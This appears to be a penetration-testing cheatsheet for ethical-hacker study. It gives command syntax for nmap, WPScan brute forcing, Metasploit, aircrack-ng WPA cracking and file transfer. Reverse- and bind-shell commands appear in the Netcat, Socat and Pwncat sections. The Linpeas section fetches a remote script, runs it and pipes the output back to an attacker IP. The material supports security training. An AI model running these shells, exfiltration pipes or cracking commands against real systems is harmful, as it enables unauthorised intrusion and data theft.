# Certified Ethical Hacker Cheatsheet

{% hint style="info" %}
**This is a dynamic document which will be updated over time.**
{% endhint %}

### Layout

The layout will loosely follow the Penetration Testing Methodology but will be based on tools more than information.

{% embed url="<https://egs.eccouncil.org/wp-content/uploads/2020/05/The-EGS-Methodology-Infographic.png>" %}
\\
{% endembed %}

### More Resources

{% embed url="<https://www.ired.team/>" %}

{% embed url="<https://rednode.com/pentest/pentest-cheat-sheet/>" %}

{% embed url="<https://book.hacktricks.xyz>" %}

{% embed url="<https://blog.securescape.cc>" %}


# APT Package Manager

### Update System

{% tabs %}
{% tab title="Update & Upgrade" %}

```bash
sudo apt update 
sudo apt upgrade
sudo apt dist-upgrade

# Other Options
sudo apt-get update
sudo apt-get upgrade
```

{% endtab %}

{% tab title="Using Aliases" %}
{% code overflow="wrap" %}

```bash
echo "alias sysupdate='sudo apt-get update -y && sudo apt-get upgrade -y'” >> ~/. bashrc

# Refresh Terminal
sysupdate # Run this to update and upgrade the system
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Package Manipulation

{% tabs %}
{% tab title="Installing" %}

```bash
sudo apt install <package> <options>
sudo apt install wget -y
sudo apt install curl wget file -y

# Other Options
sudo apt-get install <package>
```

{% endtab %}

{% tab title="Removing" %}

```bash
# Uninstall
sudo apt remove <package>
sudo apt remove wget

# Remove deprecated/un-needed packages
sudo apt autoremove 
```

{% endtab %}

{% tab title="Fixing Broken Installs" %}

```bash
sudo apt update --fix-broken
```

{% endtab %}
{% endtabs %}


# Cron

### Crontabs

A crontab is a file that's utilised by the cron process to execute each line of instructions.\
Crontabs need 6 values in-order to work:

| Value | Description                                     |
| ----- | ----------------------------------------------- |
| MIN   | What minute to execute at                       |
| HOUR  | What hour to execute at                         |
| DOM   | What **D**ay **O**f the **M**onth to execute at |
| MON   | What **M**onth **O**f the **Y**ear to execute a |
| DOW   | What **D**ay **O**f the **W**eek to execute at  |
| CMD   | The actual command that'll get executed         |
| \*    | NULL                                            |

<figure><img src="/files/VZLnC6t7v2cPpASAo70b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KfAKOLvbwtNun78s3LrZ" alt=""><figcaption></figcaption></figure>

Once you're done, click generate and paste the output into your crontab editor

<figure><img src="/files/Ja0LnaCK4cQx2j8D9sdi" alt=""><figcaption></figcaption></figure>

Press `Ctrl + X` to save on Nano, or `:wq` on Vim. That's it!\
If you want to remove your saved crontabs, you can run `crontab -r`.


# Firefox Extensions

Couple of useful extensions

{% embed url="<https://www.wappalyzer.com/>" %}
Wappalyzer
{% endembed %}

{% embed url="<https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/>" %}
FoxyProxy
{% endembed %}

{% embed url="<https://addons.mozilla.org/en-GB/firefox/addon/hackontext/>" %}
HacKontext
{% endembed %}

{% embed url="<https://addons.mozilla.org/en-GB/firefox/addon/vulners-web-scanner/?utm_content=search&utm_medium=referral&utm_source=addons.mozilla.org>" %}
Vulners
{% endembed %}

{% embed url="<https://addons.mozilla.org/en-GB/firefox/addon/ublock-origin/?utm_content=recommended_fallback&utm_medium=referral&utm_source=addons.mozilla.org>" %}
AdBlocker
{% endembed %}


# Obsidian

{% embed url="<https://obsidian.md/>" %}
Obsidian Website
{% endembed %}

### Tutorials

{% embed url="<https://github.com/ieshreya/Obsidian-Cheat-Sheet>" %}
Cheatsheet
{% endembed %}

{% embed url="<https://www.youtube.com/watch?pp=ygUXb2JzaWRpYW4gZm9yIHBlbnRlc3Rpbmc=&v=r9xa5kMNVpQ>" %}

{% embed url="<https://www.youtube.com/watch?pp=ygUXb2JzaWRpYW4gZm9yIHBlbnRlc3Rpbmc=&v=YomvQSKmAIE>" %}

{% embed url="<https://www.youtube.com/watch?pp=ygUXb2JzaWRpYW4gZm9yIHBlbnRlc3Rpbmc=&v=MQGozZzHUwQ>" %}


# Notion

{% hint style="warning" %}
**Before you use this:** Notion is a **Cloud-Based Platform.** Do not use it for penetration testing engagements as it is NOT SECURE.
{% endhint %}

{% embed url="<https://www.youtube.com/watch?pp=ygUVbm90aW9uIGZvciBwZW50ZXN0aW5n&v=9Zj3Z4KkcQA>" %}


# Pwndocs

{% embed url="<https://www.youtube.com/watch?v=J34DnrX7dTo>" %}

{% @github-files/github-code-block url="<https://github.com/pwndoc/pwndoc>" %}

{% embed url="<https://pwndoc.github.io/pwndoc>" %}
Documentation
{% endembed %}


# NSLookup // Dig // Whois

## nslookup

### Resources

{% embed url="<https://www.geeksforgeeks.org/nslookup-command-in-linux-with-examples/>" %}

{% embed url="<https://linux.die.net/man/1/nslookup>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup>" %}

### Usage

```bash
nslookup [-option] [name | -] [server] 
```

### Querying

```bash
# Usage
nslookup -query=OPTION SERVER

# Example
nslookup -query=hinfo google.com
nslookup -query=all google.com
```

### Types

<pre class="language-bash"><code class="lang-bash"># Usage
nslookup -type=OPTION SERVER
<strong>
</strong><strong># Name Server
</strong>nslookup -type=ns SERVER

# Options
    A: Specifies a computer's IP address.
    ANY: Specifies a computer's IP address.
    CNAME: Specifies a canonical name for an alias.
    GID Specifies a group identifier of a group name.
    HINFO: Specifies a computer's CPU and type of operating system.
    MB: Specifies a mailbox domain name.
    MG: Specifies a mail group member.
    MINFO: Specifies mailbox or mail list information.
    MR: Specifies the mail rename domain name.
    MX: Specifies the mail exchanger.
    NS: Specifies a DNS name server for the named zone.
    PTR: Specifies a computer name if the query is an IP address; otherwise, specifies the pointer to other information.
    SOA: Specifies the start-of-authority for a DNS zone.
    TXT: Specifies the text information.
    UID: Specifies the user identifier.
    UINFO: Specifies the user information.
    WKS: Describes a well-known service.

</code></pre>

### Zone Transfer

{% embed url="<https://www.youtube.com/watch?pp=ygUed2hhdCBpcyBhIHpvbmUgdHJhbnNmZXIgYXR0YWNr&v=kdYnSfzb3UA>" %}

```bash
nslookup
> server URL
> set type=any
> ls -d URL
# Find Misconfig
> host -t axfr URL NAMESERVER
```

## Dig

{% embed url="<https://www.geeksforgeeks.org/dig-command-in-linux-with-examples/>" %}

## Whois

### Website

{% embed url="<https://www.whois.com/whois/>" %}

### CLI

```bash
# Get Domain Information
whois google.com
```


# Nmap

{% file src="/files/7xFFFJCUzWL1WiZ4Szf3" %}

### Simple Scan

```bash
# Scan IP
nmap 192.168.100.1 
```

### Port Options

```bash
# Scan All Ports
nmap -p- 192.168.100.56
# Fast Scan
nmap -f 192.168.100.56 
# Scan range of ports
nmap -p 1-100 192.168.100.56 
# Scan single port
nmap -p 80 192.168.100.56
# Scan a selection of ports
nmap -p 21,22,25 192.168.100.56
```

### IP options

```bash
# Scan range of IPs
nmap 192.168.100.1-20 
# Scan Subnet
nmap 192.168.100.1/24 
```

### Advanced Scans

```bash
# Save results to file
nmap -oA filename 192.168.100.56
# Change XML to HTML
xlstproc filename.xml -o filename.html
# OS detection
nmap -O 192.168.100.56 
```

### Vulnerable scan Option

```bash
# Vulnerability Detection
nmap -sC --script vuln 192.168.100.56 
# HTTP Vulnerability Detection
nmap -p 80 -sC --script http 192.168.100.56 
```

### Best Options :

```bash
# Full scan
nmap -A 192.168.100.56 
# Port list [TCP SYN Ping]
nmap -PS 192.168.100.56 
# port list [TCP ACK Ping]
nmap -PA 192.168.100.56 
# TCP SYN scan
nmap -sS 192.168.100.56 
# Version detection
nmap -sV 192.168.100.56 

# Scan with common scripts
nmap -Pn -T4 -A -p- <IP> --min-rate=5000
# Service Enumeration
nmap -T4 -sSCV -Pn -p=<PORTS> -vvv <IP> --min-rate=5000
```


# DNS Enumeration

{% embed url="<https://www.researchgate.net/publication/317486246/figure/fig5/AS:668322211299338@1536351840802/Hierarchical-DNS-system.ppm>" %}

{% tabs %}
{% tab title="DNS Enum" %}
{% @github-files/github-code-block url="<https://github.com/fwaeytens/dnsenum>" %}

```bash
# Usage
dnsenum DOMAIN

# Example
dnsenum google.com
```

{% endtab %}

{% tab title="DNS Recon" %}
{% @github-files/github-code-block url="<https://github.com/darkoperator/dnsrecon>" %}

```bash
# Usage
dnsrecon.py [-h] -d DOMAIN [-n NS_SERVER] [-r RANGE] [-D DICTIONARY] [-f] [-a] [-s] [-b] [-y] [-k] [-w] [-z] [--threads THREADS] [--lifetime LIFETIME] [--tcp] [--db DB] [-x XML] [-c CSV] [-j JSON] [--iw] [--disable_check_recursion] [--disable_check_bindversion] [-v] [-t TYPE]

# Example
dnsrecon -d google.com
```

### Tutorial

{% embed url="<https://securitytrails.com/blog/dnsrecon-tool>" %}
{% endtab %}
{% endtabs %}


# Web Assessment

&#x20;     &#x20;


# Nikto

Nikto Website Vulnerability Assessment Tool

{% embed url="<https://github.com/sullo/nikto>" %}

### Installation

```bash
git clone https://github.com/sullo/nikto

# Main script is in program/
cd nikto/program

# Check out the 2.5.0 branch
git checkout nikto-2.5.0

# Run using the shebang interpreter
./nikto.pl -h http://www.example.com

# Run using perl (if you forget to chmod)
perl nikto.pl -h http://www.example.com

# OR WITH APT
sudo apt-get install nikto -y
```

#### Docker

```bash
git clone https://github.com/sullo/nikto.git
cd nikto
docker build -t sullo/nikto .

# Call it without arguments to display the full help
docker run --rm sullo/nikto

# Basic usage
docker run --rm sullo/nikto -h http://www.example.com

# To save the report in a specific format, mount /tmp as a volume:
docker run --rm -v $(pwd):/tmp sullo/nikto -h http://www.example.com -o /tmp/out.json
```

### Basic Scan

```bash
# Scan Host Name/IP Address
nikto -h google.com

# Scan Ports
nikto -h -port Port1(,Port2..Port3..)
```

### Full Cheatsheet

{% embed url="<https://cdn.comparitech.com/wp-content/uploads/2019/07/NIkto-Cheat-Sheet.pdf>" fullWidth="true" %}


# WPScan

Wordpress Enumerator & Bruteforcer

{% embed url="<https://wpscan.com/>" %}

### Basics

#### Installation

```bash
# Installing
sudo apt-get install wpscan

# Updating
sudo apt update wpscan
# OR
wpscan --update
```

#### Simple Scan

```bash
wpscan --url www.wordpress.org
wpscan -u www.wordpress.org
```

#### Supply API Token (Better scans)

```bash
wpscan --url www.wordpress.org --api-token TOKEN
```

#### Docker

```bash
# Install
docker pull wpscanteam/wpscan

# Enumerate Usernames
docker run -it --rm wpscanteam/wpscan --url www.wordpress.org -e u
```

### Enumeration

```bash
# Usernames
wpscan --url www.wordpress.org -e u

# Popular Plugins
wpscan --url www.wordpress.org -e p

# Vulnerable Plugins
wpscan --url www.wordpress.org -e vp

# All Plugins
wpscan --url www.wordpress.org -e ap

# Popular Themes
wpscan --url www.wordpress.org -e t

# Popular Themes
wpscan --url www.wordpress.org -e t

# Vulnerable Themes
wpscan --url www.wordpress.org -e vt

# All Themes
wpscan --url www.wordpress.org -e at

# wp-config.php Backups
wpscan --url www.wordpress.org -e cb

# Database Exports
wpscan --url www.wordpress.org -e dbe

# Scan Vulnerabilities and output to file
wpscan --url <URL> -e vp, u, vt, tt --follow-redirection -v --log filename.log
```

### Password Bruteforce

```bash
# Supply Password List
wpscan --url www.wordpress.org -P /path/to/passwords/txt

# Supply Username List
wpscan --url www.wordpress.org -U /path/to/users.txt
```

### Useful Flags

```bash
# Supply Custom wp-content Directory
--wp-content-dir

# Random User Agent
--random-user-agent

# Avoid Detection (Limited Checks)
--stealthy

# Disable SSL/TLS Security
--disable0tls-checks

# Disable Wordpress Detection
--force

# Set Detection Mode
--detection-mode [mixed passive aggressive]
```


# Network Assessment


# OpenVAS

OpenVAS Open-Source Vulnerability Scanner

{% embed url="<https://github.com/greenbone/openvas-scanner>" %}

### Installation

{% embed url="<https://github.com/greenbone/openvas-scanner/blob/main/INSTALL.md>" %}

```bash
apt-get update -y
apt-get dist-upgrade -y
apt-get install openvas -y

# Setting Up
openvas-setup
# Open https://localhost:9392/ and login with the given User and Pass
```

#### Docker

```bash
docker build -t <image-name> -f .docker/prod.Dockerfile .
```

### Usage

{% embed url="<https://hackertarget.com/openvas-tutorial-tips/>" %}


# Nessus

Nessus Vulnerability Scanner

{% embed url="<https://www.tenable.com/>" %}

{% embed url="<https://www.youtube.com/watch?v=LByE7bS6J4M>" %}

{% embed url="<https://limberduck.github.io/nessus-cheat-sheet/>" %}


# Metasploit

Metasploit Command & Control Framework

{% embed url="<https://nooblinux.com/metasploit-tutorial/>" %}

{% embed url="<https://docs.metasploit.com/docs/>" %}

### Usage

```bash
# Start up MSFConsole
msfconsole

# Start in quiet mode (removes art)
msfconsole -q

# Update
msfupdate

# Search for module
search [auxilliary exploit brute]

# Search technology
search smb

# Combine 
search smb scan

# Use Module
use NUM

# Example
search smb scan
use 4

# Show options
options

# Set payloads
set payload NUM/PAYLOAD
```

### Multihandler

{% embed url="<https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/handler>" %}


# MSFVenom

Payload generation

{% embed url="<https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom>" %}

{% embed url="<https://posts.slayerlabs.com/msfvenom-guide/>" %}


# Searchsploit

ExploitDB Parser

### Installation

{% embed url="<https://1gbits.com/blog/install-searchsploit-on-kali-linux/>" %}

```bash
git clone https://github.com/offensive-security/exploit-database.git
apt update && apt -y install exploitdb
```

### Usage

```bash
# Syntax
searchsploit [-OPTIONS] APPLICATION

# Example
searchsploit spring 3.2.2

# Download Modules
searchsploit -m NUMBER
```


# Revshells

{% embed url="<https://www.revshells.com/>" %}

### Usage

<figure><img src="/files/DShwkjnyk0SqpQf1YzMG" alt=""><figcaption><p>Set your IP and Port</p></figcaption></figure>

<figure><img src="/files/CVAMTFBNcvTJdqZdF7zc" alt=""><figcaption><p>You can use this to quickly copy and paste a reverse shell command</p></figcaption></figure>

<figure><img src="/files/O6dWys9nFVPQtxL9C5rB" alt=""><figcaption><p>Select the type of shell you want</p></figcaption></figure>

<figure><img src="/files/VaBWZMUBLI7Lf1TmFtwh" alt=""><figcaption><p>Choose an OS and a shell</p></figcaption></figure>

<figure><img src="/files/GnX7dl0VNMI15d6Jny6V" alt=""><figcaption><p>Generate and Copy</p></figcaption></figure>


# Netcat

### Installation

```bash
sudo apt-get install netcat-openbsd
```

### Reverse Shell

1. Generate a shell from [Revshells](/exploitation/revshells)
2. Upload it to the target&#x20;
3. Start a listener with: `nc -lvnp PORT`
4. Execute shell on victim

### Bind Shell

1. On the target, run `nc -lvnp PORT`
2. Start a listener on your machine using `nc IP PORT`

{% hint style="info" %}
**RLWrap:** You can use `rlwrap` to have a better shell experience

```bash
sudo apt-get install rlwrap
rlwrap nc -lvnp 4444
```

{% endhint %}

### Stabalising Shells

{% code title="Python" %}

```python
# Basic
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

# Interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'
# CTRL + Z to send task to background
stty raw -echo; fg
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
```

{% endcode %}

{% code title="Socat" %}

```bash
# Start Listener (Kali)
socat file:`tty`,raw,echo=0 tcp-listen:PORT

# Connect Back (Victim)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
```

{% endcode %}


# Pwncat-CS

Python Command & Control through Netcat

{% embed url="<https://github.com/calebstewart/pwncat>" %}

{% embed url="<https://pwncat.readthedocs.io/en/latest/usage.html>" %}

### Usage

```bash
# Connect to a bind shell
pwncat-cs connect://10.10.10.10:4444
pwncat-cs 10.10.10.10:4444
pwncat-cs 10.10.10.10 4444

# Listen for reverse shell
pwncat-cs bind://0.0.0.0:4444
pwncat-cs 0.0.0.0:4444
pwncat-cs :4444
pwncat-cs -lp 4444

# Connect via ssh
pwncat-cs ssh://user:password@10.10.10.10
pwncat-cs user@10.10.10.10
pwncat-cs user:password@10.10.10.10
pwncat-cs -i id_rsa user@10.10.10.10

# SSH w/ non-standard port
pwncat-cs -p 2222 user@10.10.10.10
pwncat-cs user@10.10.10.10:2222
# Reconnect utilizing installed persistence
#   If reconnection fails and no protocol is specified,
#   SSH is used as a fallback.

pwncat-cs reconnect://user@10.10.10.10
pwncat-cs reconnect://user@c228fc49e515628a0c13bdc4759a12bf
pwncat-cs user@10.10.10.10
pwncat-cs c228fc49e515628a0c13bdc4759a12bf
pwncat-cs 10.10.10.10
```

#### Change Platform to Windows

```bash
pwncat-cs -m windows 10.10.10.10 4444
pwncat-cs -m windows -lp 4444
```


# Brute Force

{% tabs %}
{% tab title="Hashcat" %}
{% embed url="<https://github.com/frizb/Hashcat-Cheatsheet>" %}
{% endtab %}

{% tab title="JohnTheRipper" %}
{% embed url="<https://countuponsecurity.files.wordpress.com/2016/09/jtr-cheat-sheet.pdf>" %}
{% endtab %}

{% tab title="Crackstation" %}
{% embed url="<https://crackstation.net/>" %}
{% endtab %}

{% tab title="CrackMapExec" %}
{% embed url="<https://cheatsheet.haax.fr/windows-systems/exploitation/crackmapexec/>" %}
{% endtab %}

{% tab title="WPScan" %}
{% embed url="<https://www.exploit-db.com/docs/english/45556-wordpress-penetration-testing-using-wpscan-and-metasploit.pdf>" %}
{% endtab %}
{% endtabs %}


# Wi-FI

### Airmon-ng

{% embed url="<https://www.aircrack-ng.org/doku.php?id=airmon-ng>" %}

#### Usage

```bash
# Usage
airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>

# Check for interference
airmon-ng check
# If there are interferences then do airmon-ng check kill

# Select Interface
airmon-ng start wlan0
# Check interface with ifconfig or ip a
```

### Airodump-ng

{% embed url="<https://www.aircrack-ng.org/doku.php?id=airodump-ng>" %}

#### Usage\#

<pre class="language-bash"><code class="lang-bash"><strong># Usage
</strong><strong>airodump-ng &#x3C;options> &#x3C;interface>[,&#x3C;interface>,...]
</strong>
# Dump handshakes from interface
airodump-ng wlan0

# Attack Device
airodump-ng -w Attack1 -c 1 --bssid E6:6F:14:31:63:1C wlan0
</code></pre>

### Aircrack-ng

{% embed url="<https://www.aircrack-ng.org/doku.php?id=aircrack-ng>" %}

#### Usage

```bash
# Usage
aircrack-ng [options] <capture file(s)>

# Crack password
aircrack-ng -a2 -b E6:6F:14:31:63:1C -w /root/Desktop/wordlist.txt /root/Desktop/Attack1-01.cap
```


# Persistence

### Linux

{% embed url="<https://www.youtube.com/watch?v=w2rElXYV2Fs>" %}

{% embed url="<https://www.youtube.com/watch?v=tNJs8CFj_B8>" %}

### Windows

{% embed url="<https://www.youtube.com/watch?v=6xexyQwG7SY>" %}

{% embed url="<https://www.youtube.com/watch?v=vPTbWnCZ0sg>" %}


# File Transfer


# Netcat

```bash
# Host:
nc -lvnp 9001 | tee file.out
nc -lvnp 9001 > file.out

# Remote:
nc HOSTIP PORT < FILE
```


# SMB

{% embed url="<https://0xdf.gitlab.io/2018/10/11/pwk-notes-post-exploitation-windows-file-transfers.html>" %}


# Python

```bash
python3 -m http.server 9001

curl http://localhost:9001/file.txt --output file.txt
wget http://localhost:9001/file.txt 
```


# Updog

### Installation

```bash
pip3 install updog

updog [-d DIRECTORY] [-p PORT] [--password PASSWORD] [--ssl]
```

### Usage

| Argument                            | Description                                      |
| ----------------------------------- | ------------------------------------------------ |
| -d DIRECTORY, --directory DIRECTORY | Root directory \[Default=.]                      |
| -p PORT, --port PORT                | Port to serve \[Default=9090]                    |
| --password PASSWORD                 | Use a password to access the page. (No username) |
| --ssl                               | Enable transport encryption via SSL              |
| --version                           | Show version                                     |
| -h, --help                          | Show help                                        |

### Examples

```bash
# Serve from your current directory:**

updog

# Serve from another directory:

updog -d /another/directory

# Serve from port 1234:**

updog -p 1234

# Password protect the page:

updog --password examplePassword123!

#*Please note*: updog uses HTTP basic authentication.
#To login, you should leave the username blank and just
#enter the password in the password field.

# Use an SSL connection:

updog --ssl
```


# Linpeas

### Execute on Victim and send output to Host

```bash
#Host
nc -lvnp 9002 | tee linpeas.out 

#Victim
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 
```


# Tunnelling

### SSH Port Forward

{% embed url="<https://sushant747.gitbooks.io/total-oscp-guide/content/port_forwarding_and_tunneling.html>" %}

#### Local Tunnel

```bash
# Example
ssh -L 8080:www.facebook.com:80 localhost

# Authenticated
ssh username@<remote-machine> -L localport:target-ip:target-port

ssh username@192.168.1.111 -L 5000:192.168.1.222:5000
```

#### Remote Tunnel

```bash
ssh -R 8080:localhost:80 public.example.com
```